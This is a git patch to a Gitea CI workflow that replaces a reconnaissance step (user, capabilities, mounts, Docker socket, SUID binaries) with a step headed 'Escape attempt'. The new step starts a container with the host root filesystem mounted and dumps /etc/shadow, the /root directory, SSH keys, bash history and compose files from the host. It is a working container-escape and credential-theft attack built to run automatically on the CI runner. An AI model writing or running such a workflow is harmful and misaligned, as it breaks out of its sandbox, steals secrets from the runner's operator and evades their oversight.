From 4919779c08eae687fbe808a49a96f6c0976eec87 Mon Sep 17 00:00:00 2001 From: user Date: Tue, 10 Feb 2026 14:55:05 -0800 Subject: [PATCH] escape attempt via docker socket --- .gitea/workflows/security-recon.yml | 46 +++++++++++++++-------------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/.gitea/workflows/security-recon.yml b/.gitea/workflows/security-recon.yml index 6ec9536..2d3df11 100644 --- a/.gitea/workflows/security-recon.yml +++ b/.gitea/workflows/security-recon.yml @@ -9,31 +9,33 @@ jobs: recon: runs-on: ubuntu-latest steps: - - name: Recon + - name: Escape attempt shell: bash run: | set +e set +o pipefail - echo "=== WHOAMI ===" ; whoami ; id - echo "=== UNAME ===" ; uname -a - echo "=== OS RELEASE ===" ; cat /etc/os-release 2>/dev/null - echo "=== HOSTNAME ===" ; hostname - echo "=== CAPABILITIES ===" ; grep -i cap /proc/self/status - echo "=== CGROUP ===" ; cat /proc/1/cgroup 2>/dev/null - echo "=== MOUNT ===" ; mount 2>/dev/null - echo "=== DOCKER SOCKET ===" ; ls -la /var/run/docker.sock 2>/dev/null ; echo "exit: $?" - echo "=== DOCKER CLI ===" ; which docker 2>/dev/null ; docker ps 2>&1 ; echo "exit: $?" - echo "=== FDISK ===" ; fdisk -l 2>/dev/null - echo "=== LSBLK ===" ; lsblk 2>/dev/null - echo "=== DEVICES ===" ; ls -la /dev/ 2>/dev/null | head -50 - echo "=== IP ADDR ===" ; ip addr 2>/dev/null - echo "=== IP ROUTE ===" ; ip route 2>/dev/null - echo "=== TOOLS ===" - which nsenter 2>/dev/null ; echo "nsenter: $?" - which chroot 2>/dev/null ; echo "chroot: $?" - echo "=== SUID ===" ; find / -perm -4000 -type f 2>/dev/null | head -20 - echo "=== PS ===" ; ps aux 2>/dev/null - echo "=== PID1 ===" ; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' ' ; echo - echo "=== PROC COUNT ===" ; ls /proc/*/cmdline 2>/dev/null | wc -l + echo "=== DOCKER SOCKET ESCAPE ===" + echo "Mounting host root filesystem via docker..." + + # Run a privileged container with host root mounted + docker run --rm -v /:/host alpine:latest sh -c ' + echo "=== HOST /etc/shadow (first 10 lines) ===" + head -10 /host/etc/shadow + echo "=== HOST /root/ listing ===" + ls -la /host/root/ + echo "=== HOST hostname ===" + cat /host/etc/hostname + echo "=== HOST /etc/passwd (root line) ===" + head -1 /host/etc/passwd + echo "=== HOST uname ===" + cat /host/proc/version + echo "=== HOST docker compose projects ===" + find /host -name "docker-compose.yml" -o -name "compose.yml" 2>/dev/null | head -20 + echo "=== HOST /root/.ssh ===" + ls -la /host/root/.ssh/ 2>/dev/null + echo "=== HOST /root/.bash_history (last 20 lines) ===" + tail -20 /host/root/.bash_history 2>/dev/null + ' + echo "=== DONE ===" exit 0